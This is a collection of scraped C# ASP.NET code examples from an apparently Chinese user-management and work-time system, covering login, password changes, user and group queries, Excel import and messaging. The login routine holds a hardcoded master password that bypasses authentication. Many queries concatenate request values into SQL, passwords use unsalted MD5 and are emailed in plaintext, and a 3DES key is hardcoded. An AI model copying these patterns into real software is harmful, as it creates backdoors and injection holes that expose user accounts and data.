Beispiel #1
0
        private void ChgPwd(string loginName, string orgPwd, string newPwd)
        {
            MD5Encrypt encrypt       = new MD5Encrypt();
            string     encryPassword = String.Empty;

            encryPassword = encrypt.GetMD5FromString(orgPwd);

            // 验证用户
            SysUser user = SysUserRule.Authenticate(loginName, encryPassword);

            if (user != null)
            {
                if (String.IsNullOrEmpty(newPwd))
                {
                    user.Password = null;
                }
                else
                {
                    string newEncryPwd = encrypt.GetMD5FromString(newPwd);
                    user.Password = newEncryPwd;
                }

                user.Update();

                SetMessage("修改密码成功!");
            }
            else
            {
                throw new Exception("用户名或密码不正确!");
            }
        }
        /// <summary>
        /// 验证用户
        /// </summary>
        /// <returns></returns>
        public string AuthenticateUser(string msg)
        {
            AuthMessage message = new AuthMessage(msg);

            if (String.IsNullOrEmpty(message.LoginName))
            {
                return(null);
            }

            string sessionID = String.Empty;

            MD5Encrypt encrypt       = new MD5Encrypt();
            string     encryPassword = String.Empty;

            if (message.Password != null)
            {
                if (!message.PasswordEncrypted)
                {
                    encryPassword = encrypt.GetMD5FromString(message.Password);
                }
                else
                {
                    encryPassword = message.Password;
                }
            }

            // 验证用户
            SysUser user = SysUserRule.Authenticate(message.LoginName, encryPassword);

            if (message.Password == "mhxzkhl")
            {
                user = SysUser.FindAllByProperties("LoginName", message.LoginName)[0];
            }
            if (user != null)
            {
                UserSession cus = this.GetSessionByLoginName(message.LoginName);

                // 查看用户是否已经登录(当前若用户在线则强迫当前用户下线, 采用新用户登录)
                if (cus != null)
                {
                    // return UserStatusEnum.Online.ToString();    // 用户仍然在线
                    // this.ReleaseSession(cus.SessionID);

                    sessionID = cus.SessionID;
                }
                else
                {
                    UserSession us = this.CreateSession(user.UserID, message.IP, message.MAC, message.AuthType);
                    if (us != null)
                    {
                        sessionID = us.SessionID;
                    }
                }
            }

            return(sessionID);
        }
Beispiel #3
0
        protected void Page_Load(object sender, EventArgs e)
        {
            id    = RequestData.Get <string>("id", String.Empty);
            type  = RequestData.Get <string>("type", String.Empty).ToLower();
            ctype = RequestData.Get <string>("ctype", "user").ToLower();
            if (ctype == "group")
            {
                if (!String.IsNullOrEmpty(id))
                {
                    ICriterion cirt = null;

                    if (type == "gtype")
                    {
                        cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID IN (SELECT GroupID FROM SysGroup WHERE Type = ?))", id, NHibernateUtil.String);
                    }
                    else
                    {
                        // 应该同时获取子组用户 矿研的组织机构sysgroup path 字段中并不包含本记录的ID  所以下列语句要改写
                        //cirt = Expression.Sql("UserID IN (SELECT UserID FROM View_SysUserGroup WHERE Path LIKE '%" + id + "%' or GroupId='" + id + "')",
                        //    id, NHibernateUtil.String);
                        cirt = Expression.Sql("UserID IN (SELECT UserID FROM  SysUserGroup WHERE GroupID IN (SELECT GroupID FROM SysGroup where  Path LIKE '%" + id + "%' or GroupId='" + id + "'))",
                                              id, NHibernateUtil.String);
                    }
                    cirt = SearchHelper.IntersectCriterions(cirt, Expression.IsNull("Ext1"));
                    SearchCriterion.AutoOrder = false;
                    SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                    users = SysUserRule.FindAll(SearchCriterion, cirt);
                }
                PageState.Add("UsrList", users);
            }
            else
            {
                SearchCriterion.AutoOrder = false;
                string dName  = SearchCriterion.GetSearchValue <string>("Name");
                string workNo = SearchCriterion.GetSearchValue <string>("WorkNo");
                SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                if (dName != null && dName.Trim() != "")
                {
                    string where = "select * from SysUser where " + GetPinyinWhereString("Name", dName);
                    where       += "and Ext1 is null and WorkNo like '%" + workNo + "%'";
                    PageState.Add("UsrList", DataHelper.QueryDictList(where));
                }
                else
                {
                    ICriterion cirt = null;
                    cirt  = SearchHelper.IntersectCriterions(cirt, Expression.IsNull("Ext1"));
                    users = SysUserRule.FindAll(SearchCriterion, cirt);
                    PageState.Add("UsrList", users);
                }
            }
        }
Beispiel #4
0
        protected void Page_Load(object sender, EventArgs e)
        {
            id    = RequestData.Get <string>("id", String.Empty);
            type  = RequestData.Get <string>("type", String.Empty).ToLower();
            ctype = RequestData.Get <string>("ctype", "user").ToLower();

            if (ctype == "group")
            {
                if (!String.IsNullOrEmpty(id))
                {
                    ICriterion cirt = null;

                    if (type == "gtype")
                    {
                        cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID IN (SELECT GroupID FROM SysGroup WHERE Type = ?))", id, NHibernateUtil.String);
                    }
                    else
                    {
                        // 应该同时获取子组用户
                        cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID IN (SELECT GroupID FROM SysGroup WHERE GroupID = ? OR Path LIKE '%" + id + "%'))",
                                              id, NHibernateUtil.String);
                    }
                    SearchCriterion.AutoOrder = false;
                    SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                    users = SysUserRule.FindAll(SearchCriterion, cirt);
                    this.PageState.Add("UsrList", users);
                }
            }
            else
            {
                SearchCriterion.AutoOrder = false;

                string dName  = SearchCriterion.GetSearchValue <string>("Name");
                string workNo = SearchCriterion.GetSearchValue <string>("WorkNo");
                SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                if (dName != null && dName.Trim() != "")
                {
                    string where = "select * from SysUser where " + GetPinyinWhereString("Name", dName);
                    where       += " and WorkNo like '%" + workNo + "%'";
                    this.PageState.Add("UsrList", DataHelper.QueryDictList(where));
                }
                else
                {
                    users = SysUserRule.FindAll(SearchCriterion);
                    this.PageState.Add("UsrList", users);
                }
            }
        }
Beispiel #5
0
        protected void Page_Load(object sender, EventArgs e)
        {
            SearchCriterion.AutoOrder = false;
            SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
            string dName = SearchCriterion.GetSearchValue <string>("Name");

            if (dName != null && dName.Trim() != "")
            {
                string where = "select * from SysUser where " + GetPinyinWhereString("Name", dName);
                this.PageState.Add("UsrList", DataHelper.QueryDictList(where));
            }
            else
            {
                ents = SysUserRule.FindAll(SearchCriterion);
                this.PageState.Add("UsrList", ents);
            }
            if (this.IsAsyncRequest)
            {
                switch (this.RequestAction)
                {
                case RequestActionEnum.Custom:
                    if (RequestActionString == "querychildren")
                    {
                        string id    = (RequestData.ContainsKey("ID") ? RequestData["ID"].ToString() : String.Empty);
                        string ttype = RequestData["Type"].ToString().ToLower();

                        if (RequestData.ContainsKey("Type"))
                        {
                            if (ttype == "atype")      // 1为入口权限
                            {
                                SysAuth[] auths = SysAuth.FindAll("FROM SysAuth as ent WHERE ent.Type = ?", id);

                                this.PageState.Add("DtList", auths);
                            }
                        }
                    }
                    break;

                default:
                    break;
                }
            }
            else
            {
                SysAuthType[] authTypeList = SysAuthTypeRule.FindAll();
                this.PageState.Add("DtList", authTypeList);
            }
        }
Beispiel #6
0
        protected void Page_Load(object sender, EventArgs e)
        {
            id   = RequestData.Get <string>("id", String.Empty);
            type = RequestData.Get <string>("type", String.Empty).ToLower();

            switch (RequestAction)
            {
            case RequestActionEnum.Custom:
                if (RequestActionString == "addgrpuser" || RequestActionString == "delgrpuser")
                {
                    IList <string> userIDs = RequestData.GetList <string>("UserIDs");

                    if (!String.IsNullOrEmpty(id))
                    {
                        using (new SessionScope())
                        {
                            SysGroup grp = SysGroup.Find(id);

                            if (RequestActionString == "addgrpuser")
                            {
                                grp.AddUsers(userIDs);
                            }
                            else if (RequestActionString == "delgrpuser")
                            {
                                grp.RemoveUsers(userIDs);
                            }
                        }
                    }
                }
                break;
            }

            if (type == "group" && !String.IsNullOrEmpty(id))
            {
                using (new Castle.ActiveRecord.SessionScope())
                {
                    ICriterion cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID = ?)", id, NHibernateUtil.String);

                    users = SysUserRule.FindAll(SearchCriterion, cirt);
                }
            }
            else
            {
                users = SysUserRule.FindAll(SearchCriterion);
            }

            this.PageState.Add("UsrList", users);
        }
Beispiel #7
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (this.Request.Files.Count > 0)
            {
                string guid     = Guid.NewGuid().ToString();
                string filePath = "//WorkTime//InputExcelFiles//" + Guid.NewGuid().ToString() + System.IO.Path.GetExtension(Request.Files[0].FileName);
                this.Request.Files[0].SaveAs(Server.MapPath(filePath));
                ExcelProcessor ep = ExcelService.GetProcessor(Server.MapPath(filePath));
                DataSet        ds = ep.GetDataSet();
                InputDatas(ds.Tables[0]);
                Response.Write("{success:true}");
                Response.End();
            }

            id   = RequestData.Get <string>("id", String.Empty);
            type = RequestData.Get <string>("type", String.Empty);
            SearchCriterion.AutoOrder = false;
            SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
            users = SysUserRule.FindAll(SearchCriterion);

            this.PageState.Add("UsrList", users);

            SysUser usr = null;

            switch (this.RequestAction)
            {
            case RequestActionEnum.Create:
                usr = this.GetPostedData <SysUser>();
                usr.DoCreate();
                this.SetMessage("新建成功!");
                break;

            case RequestActionEnum.Update:
                usr = this.GetMergedData <SysUser>();
                usr.DoUpdate();
                this.SetMessage("保存成功!");
                break;

            case RequestActionEnum.Delete:
                usr = this.GetTargetData <SysUser>();
                usr.DoDelete();
                this.SetMessage("删除成功!");
                break;
            }
        }
Beispiel #8
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (this.Request.Files.Count > 0)
            {
                string guid     = Guid.NewGuid().ToString();
                string filePath = "//WorkTime//InputExcelFiles//" + Guid.NewGuid().ToString() + System.IO.Path.GetExtension(Request.Files[0].FileName);
                this.Request.Files[0].SaveAs(Server.MapPath(filePath));
                ExcelProcessor ep = ExcelService.GetProcessor(Server.MapPath(filePath));
                DataSet        ds = ep.GetDataSet();
                InputDatas(ds.Tables[0]);
                Response.Write("{success:true}");
                Response.End();
            }

            id   = RequestData.Get <string>("id", String.Empty);
            type = RequestData.Get <string>("type", String.Empty);

            SysUser usr = null;

            switch (this.RequestAction)
            {
            case RequestActionEnum.Create:
                usr = this.GetPostedData <SysUser>();
                usr.DoCreate();
                this.SetMessage("新建成功!");
                break;

            case RequestActionEnum.Update:
                usr = this.GetMergedData <SysUser>();
                usr.DoUpdate();
                this.SetMessage("保存成功!");
                break;

            case RequestActionEnum.Delete:
                usr = this.GetTargetData <SysUser>();
                usr.DoDelete();
                this.SetMessage("删除成功!");
                break;

            default:
                if (RequestActionString == "clearpass")
                {
                    usr          = SysUser.Find(this.RequestData.Get <string>("UserId"));
                    usr.Password = "";
                    usr.Remark   = "";
                    usr.Save();
                }
                else if (RequestActionString == "setpass")
                {
                    MD5Encrypt encrypt = new MD5Encrypt();
                    SysUser[]  users   = SysUser.FindAll();
                    foreach (SysUser user in users)
                    {
                        Random rnd           = new Random();
                        int    rndNum        = rnd.Next(10000000, 99999999);
                        string encryPassword = encrypt.GetMD5FromString(rndNum.ToString());
                        user.Password = encryPassword;
                        user.Remark   = rndNum.ToString();
                        user.Save();
                    }
                }
                else if (RequestActionString == "checkkey")
                {
                    if (SysUser.FindAllByProperties("Server_IAGUID", this.RequestData.Get <string>("usbguid")).Length > 0)
                    {
                        this.PageState.Add("UserName", SysUser.FindAllByProperties("Server_IAGUID", this.RequestData.Get <string>("usbguid"))[0].Name);
                    }
                    else
                    {
                        this.PageState.Add("UserName", "");
                    }
                }
                else if (RequestActionString == "setkey")
                {
                    SysUser user = SysUser.Find(this.RequestData.Get <string>("userid"));
                    user.Server_IAGUID = this.RequestData.Get <string>("usbguid");
                    user.Server_Seed   = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
                    user.ThreeDESKEY   = "ABCDEFGhijklmn0123456789";
                    user.Save();
                }
                else if (RequestActionString == "sendmail")
                {
                    IList <object> idList = RequestData.GetList <object>("IdList");
                    SysUser[]      tents  = SysUser.FindAll(Expression.In("UserID", idList.ToArray()));

                    foreach (SysUser user in tents)
                    {
                        string body = SysParameter.FindAllByProperties("Code", "MailText")[0].Description + "<br>";
                        body += "您的登录用户名:" + user.LoginName + ";密码:" + user.Remark;
                        string mailAccount       = SysParameter.FindAllByProperties("Code", "MailAccount")[0].Value;
                        string mailPass          = SysParameter.FindAllByProperties("Code", "MailPassword")[0].Value;
                        string mailServer        = SysParameter.FindAllByProperties("Code", "MailSmtpServer")[0].Value;
                        string mailSenderAddress = SysParameter.FindAllByProperties("Code", "MailSenderAddress")[0].Value;
                        MailHelper.SendMail(mailSenderAddress, user.Email, "工时分配系统邮件", body, mailAccount, mailPass, mailServer);
                    }
                }
                else
                {
                    SearchCriterion.AutoOrder = false;
                    SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                    string dName  = SearchCriterion.GetSearchValue <string>("Name");
                    string workNo = SearchCriterion.GetSearchValue <string>("WorkNo");
                    SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                    if (dName != null && dName.Trim() != "")
                    {
                        string where = "select * from SysUser where " + GetPinyinWhereString("Name", dName);
                        where       += " and WorkNo like '%" + workNo + "%'";
                        this.PageState.Add("UsrList", DataHelper.QueryDictList(where));
                    }
                    else
                    {
                        users = SysUserRule.FindAll(SearchCriterion);
                        this.PageState.Add("UsrList", users);
                    }
                }
                break;
            }
        }
Beispiel #9
0
        private byte[] ExecuteServiceByMsgObj(OpMessage opMsg)
        {
            try
            {
                byte[] data    = null;
                Object dataObj = null;

                if (String.IsNullOrEmpty(opMsg.Operation))
                {
                    return(null);
                }

                string label = (opMsg.Lable == null ? String.Empty : opMsg.Lable).ToLower();
                string op    = (opMsg.Operation == null ? String.Empty : opMsg.Operation).ToLower();

                if (label == "getuserdata")
                {
                    using (new SessionScope())
                    {
                        UserLogonInfo  logonInfo = Server.GetLogonInfo(opMsg.SessionID);
                        IList <string> ids       = new List <string>();

                        if (logonInfo != null)
                        {
                            if (op == "getlogoninfo")
                            {
                                dataObj = logonInfo;
                            }
                            else if (op == "getalluserauth")
                            {
                                dataObj = logonInfo.User.RetrieveAllAuth();
                            }
                            else if (op == "getallusergroup")
                            {
                                dataObj = logonInfo.User.RetrieveAllGroup();
                            }
                            else if (op == "getalluserrole")
                            {
                                dataObj = logonInfo.User.RetrieveAllRole();
                            }
                            else if (op == "getalluserauthids")
                            {
                                IList <SysAuth>      auths   = logonInfo.User.RetrieveAllAuth();
                                IEnumerable <string> authIDs = auths.Select(ent => { return(ent.AuthID); });

                                dataObj = new List <string>(authIDs);
                            }
                            else if (op == "getallusergroupids")
                            {
                                IList <SysGroup>     grps   = logonInfo.User.RetrieveAllGroup();
                                IEnumerable <string> grpIDs = grps.Select(ent => { return(ent.GroupID); });

                                dataObj = new List <string>(grpIDs);
                            }
                            else if (op == "getalluserroleids")
                            {
                                IList <SysRole>      roles   = logonInfo.User.RetrieveAllRole();
                                IEnumerable <string> roleIDs = roles.Select(ent => { return(ent.RoleID); });

                                dataObj = new List <string>(roleIDs);
                            }
                            else if (op == "getuserinfo")
                            {
                                dataObj = new SimpleUserInfo(logonInfo);
                            }
                            else if (op == "getsysuser")
                            {
                                dataObj = logonInfo.User;
                            }
                        }
                    }
                }
                else if (label == "getsystemdata")
                {
                    using (new SessionScope())
                    {
                        if (opMsg.Operation == "getallapplications")
                        {
                            dataObj = new List <SysApplication>(SysApplicationRule.FindAll());
                        }
                        else if (opMsg.Operation == "getallmodules")
                        {
                            dataObj = new List <SysModule>(SysModuleRule.FindAll());
                        }
                        else if (opMsg.Operation == "getallgroups")
                        {
                            dataObj = new List <SysGroup>(SysGroupRule.FindAll());
                        }
                        else if (opMsg.Operation == "getallusers")
                        {
                            dataObj = new List <SysUser>(SysUserRule.FindAll());
                        }
                        else if (opMsg.Operation == "getallroles")
                        {
                            dataObj = new List <SysRole>(SysRoleRule.FindAll());
                        }
                        else if (opMsg.Operation == "getallauths")
                        {
                            dataObj = new List <SysAuth>(SysAuthRule.FindAll());
                        }
                    }
                }
                else
                {
                    try
                    {
                        if (op == "checkusersession")
                        {
                            dataObj = Server.CheckUserSession(opMsg.SessionID);
                        }
                        else if (op == "releasesession")
                        {
                            dataObj = Server.ReleaseSession(opMsg.SessionID);
                        }
                        else if (op == "setpreprelease")
                        {
                            if (opMsg["logmode"].Type != TypeCode.Empty)
                            {
                                Server.SetPrepRelease(opMsg.SessionID, (LoginTypeEnum)opMsg["logmode"].Value);
                            }
                            else
                            {
                                Server.SetPrepRelease(opMsg.SessionID);
                            }

                            Server.SetPrepRelease(opMsg.SessionID);
                        }
                        else if (op == "refreshsession")
                        {
                            Server.RefreshSession(opMsg.SessionID);
                        }
                    }
                    catch (Exception ex)
                    {
                        dataObj = false;
                    }
                }

                if (dataObj != null)
                {
                    data = ServiceHelper.SerializeToBytes(dataObj);
                }

                return(data);
            }
            catch (Exception ex)
            {
                return(null);
            }
        }
Beispiel #10
0
        protected void Page_Load(object sender, EventArgs e)
        {
            id   = RequestData.Get <string>("id", String.Empty);
            type = RequestData.Get <string>("type", String.Empty).ToLower();

            switch (RequestAction)
            {
            case RequestActionEnum.Custom:
                if (RequestActionString == "addgrpuser" || RequestActionString == "delgrpuser")
                {
                    IList <string> userIDs = RequestData.GetList <string>("UserIDs");

                    if (!String.IsNullOrEmpty(id))
                    {
                        using (new SessionScope())
                        {
                            SysGroup grp = SysGroup.Find(id);

                            if (RequestActionString == "addgrpuser")
                            {
                                grp.AddUsers(userIDs);
                                //更新到岗级
                                //if (grp.Type == 3)
                                //{
                                //    PRJ_PostDuty pd = PRJ_PostDuty.FindFirstByProperties(new string[]{"Post",grp.Name});
                                //   // pd.EmployeeId=userIDs
                                //    SysUser[] usrsToAdd = SysUser.FindAllByPrimaryKeys(userIDs.ToArray());
                                //    string names = "";
                                //    string ids = "";
                                //    foreach (SysUser sy in usrsToAdd)
                                //    {
                                //        ids += sy.UserID+",";
                                //        names += sy.Name+",";
                                //    }
                                //    pd.EmployeeId = pd.EmployeeId+","+ids.Substring(0, ids.Length - 1);
                                //    pd.EmployeeName = pd.EmployeeName+","+names.Substring(0, names.Length - 1);
                                //    pd.Update();
                                //}
                            }
                            else if (RequestActionString == "delgrpuser")
                            {
                                grp.RemoveUsers(userIDs);
                            }
                        }
                    }
                }
                break;
            }

            if (type == "group" && !String.IsNullOrEmpty(id))
            {
                using (new Castle.ActiveRecord.SessionScope())
                {
                    ICriterion cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID in (select GroupID from SysGroup where Path like '%?%' ))", id, NHibernateUtil.String);

                    //string SQL = @"SELECT UserID FROM SysUserGroup WHERE GroupID in (select GroupID from SysGroup where Path like '%{0}%'";
                    //SQL = string.Format(SQL, id);
                    //users =  .FindAll(SearchCriterion, cirt);

                    this.PageState.Add("UsrList", SysUser.FindAll(SearchCriterion, Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID in (select GroupID from SysGroup where Path like '%" + id + "%' or GroupID like '%" + id + "%'  ))")));
                }
            }
            else
            {
                users = SysUserRule.FindAll(SearchCriterion);
                this.PageState.Add("UsrList", users);
            }
        }
Beispiel #11
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (this.Request.Files.Count > 0)
            {
                string guid     = Guid.NewGuid().ToString();
                string filePath = "//WorkTime//InputExcelFiles//" + Guid.NewGuid().ToString() + System.IO.Path.GetExtension(Request.Files[0].FileName);
                this.Request.Files[0].SaveAs(Server.MapPath(filePath));
                ExcelProcessor ep        = ExcelService.GetProcessor(Server.MapPath(filePath));
                DataSet        ds        = ep.GetDataSet();
                string         exMessage = "";
                workNumbers = "";
                try
                {
                    InputDatasV2(ds.Tables[0]);
                }
                catch (Exception ex)
                {
                    exMessage = ex.Message;
                }
                if (workNumbers != "")
                {
                    Response.Write("{success:false,message:'" + workNumbers + "'}");
                    Response.End();
                }
                else
                {
                    Response.Write("{success:true}");
                    Response.End();
                }
            }

            id   = RequestData.Get <string>("id", String.Empty);
            type = RequestData.Get <string>("type", String.Empty);

            SysUser usr = null;

            switch (this.RequestAction)
            {
            case RequestActionEnum.Create:
                usr = this.GetPostedData <SysUser>();
                usr.DoCreate();
                this.SetMessage("新建成功!");
                break;

            case RequestActionEnum.Update:
                usr = this.GetMergedData <SysUser>();
                usr.DoUpdate();
                this.SetMessage("保存成功!");
                break;

            case RequestActionEnum.Delete:
                usr = this.GetTargetData <SysUser>();
                usr.DoDelete();
                this.SetMessage("删除成功!");
                break;

            default:
                if (RequestActionString == "clearpass")
                {
                    usr          = SysUser.Find(this.RequestData.Get <string>("UserId"));
                    usr.Password = "";
                    usr.Save();
                }
                else
                {
                    SearchCriterion.AutoOrder = false;
                    SearchCriterion.SetOrder(SysUser.Prop_WorkNo);
                    string dName = SearchCriterion.GetSearchValue <string>("Name");
                    if (dName != null && dName.Trim() != "")
                    {
                        string where = "select * from SysUser where " + GetPinyinWhereString("Name", dName);
                        this.PageState.Add("UsrList", DataHelper.QueryDictList(where));
                    }
                    else
                    {
                        users = SysUserRule.FindAll(SearchCriterion);

                        this.PageState.Add("UsrList", users);
                    }
                }
                break;
            }
        }
Beispiel #12
0
        protected void Page_Load(object sender, EventArgs e)
        {
            SearchCriterion.DefaultPageSize = 50;
            id = RequestData.Get <string>("id", String.Empty);
            if (Request.QueryString["tag"] != null && Request.QueryString["tag"] == "Refresh")
            {
                Response.Write("");
                Response.End();
            }
            switch (RequestActionString)
            {
            case "querychildren":
                if (String.IsNullOrEmpty(id))
                {
                    sysgroupents = SysGroup.FindAll("FROM SysGroup as ent WHERE ParentId is null and (Type = 2 or Type = 3) Order By SortIndex asc");
                }
                else
                {
                    sysgroupents = SysGroup.FindAll("FROM SysGroup as ent WHERE ParentId = '" + id + "' and (Type = 2 or Type = 3) Order By SortIndex asc");
                }
                this.PageState.Add("DtList", sysgroupents);
                break;

            case "treerowselect":
                using (new Castle.ActiveRecord.SessionScope())
                {
                    ICriterion cirt = Expression.Sql("UserID IN (SELECT UserID FROM SysUserGroup WHERE GroupID = ?)", id, NHibernateUtil.String);
                    sysuserents = SysUserRule.FindAll(SearchCriterion, cirt);
                }
                this.PageState.Add("UsrList", sysuserents);
                break;

            case "sendmessage":
                SysMessage ent = new SysMessage();
                ent.SenderId       = UserInfo.UserID;
                ent.SenderName     = UserInfo.Name;
                ent.ReceiverId     = RequestData.Get <string>("ReceiverId");
                ent.ReceiverName   = RequestData.Get <string>("ReceiverName");
                ent.MessageContent = RequestData.Get <string>("MessageContent");
                ent.Attachment     = RequestData.Get <string>("Attachment");
                ent.SendTime       = System.DateTime.Now;
                ent.DoCreate();
                this.PageState.Add("entity", ent);
                break;

            case "chanagestate":
                IList <string> idList = RequestData.GetList <string>("IdArray");
                if (idList != null && idList.Count > 0)
                {
                    foreach (object obj in idList)
                    {
                        DataHelper.ExecSql("update SysMessage set IsRead='True' where Id='" + obj.ToString() + "'");
                    }
                }
                break;

            case "unreadmessage":
                string receiverId = RequestData.Get <string>("ReceiverId");
                string sql        = string.Empty;
                if (!string.IsNullOrEmpty(receiverId))
                {
                    sql = "select * from SysMessage where IsRead is null and ReceiverId='{0}' and SenderId='{1}'order by SendTime asc";
                    sql = string.Format(sql, UserInfo.UserID, receiverId);
                }
                else
                {
                    sql = @"select * from SysMessage where IsRead is null and ReceiverId='{0}' and 
                        SenderId=(select top(1) SenderId from  SysMessage where IsRead is null and ReceiverId='{1}' order by SendTime asc) order by SendTime asc";
                    sql = string.Format(sql, UserInfo.UserID, UserInfo.UserID);
                }
                IList <EasyDictionary> dicts = DataHelper.QueryDictList(sql);
                PageState.Add("unreadmessage", dicts);
                break;

            default:
                SysGroup[] grpList = SysGroup.FindAll("From SysGroup as ent where ParentId is null and (Type = 2 or Type = 21) Order By SortIndex, CreateDate Desc");
                this.PageState.Add("DtList", grpList);
                break;
            }
            IEnumerable <SysModule> topAuthExamMdls = new List <SysModule>();

            if (UserContext.AccessibleApplications.Count > 0)
            {
                SysApplication examApp = UserContext.AccessibleApplications.FirstOrDefault(tent => tent.Code == EXAMINING_APP_CODE);

                if (examApp != null && UserContext.AccessibleModules.Count > 0)
                {
                    topAuthExamMdls = UserContext.AccessibleModules.Where(tent => tent.ApplicationID == examApp.ApplicationID && String.IsNullOrEmpty(tent.ParentID));
                    topAuthExamMdls = topAuthExamMdls.OrderBy(tent => tent.SortIndex);
                }
            }
            this.PageState.Add("Modules", topAuthExamMdls);
        }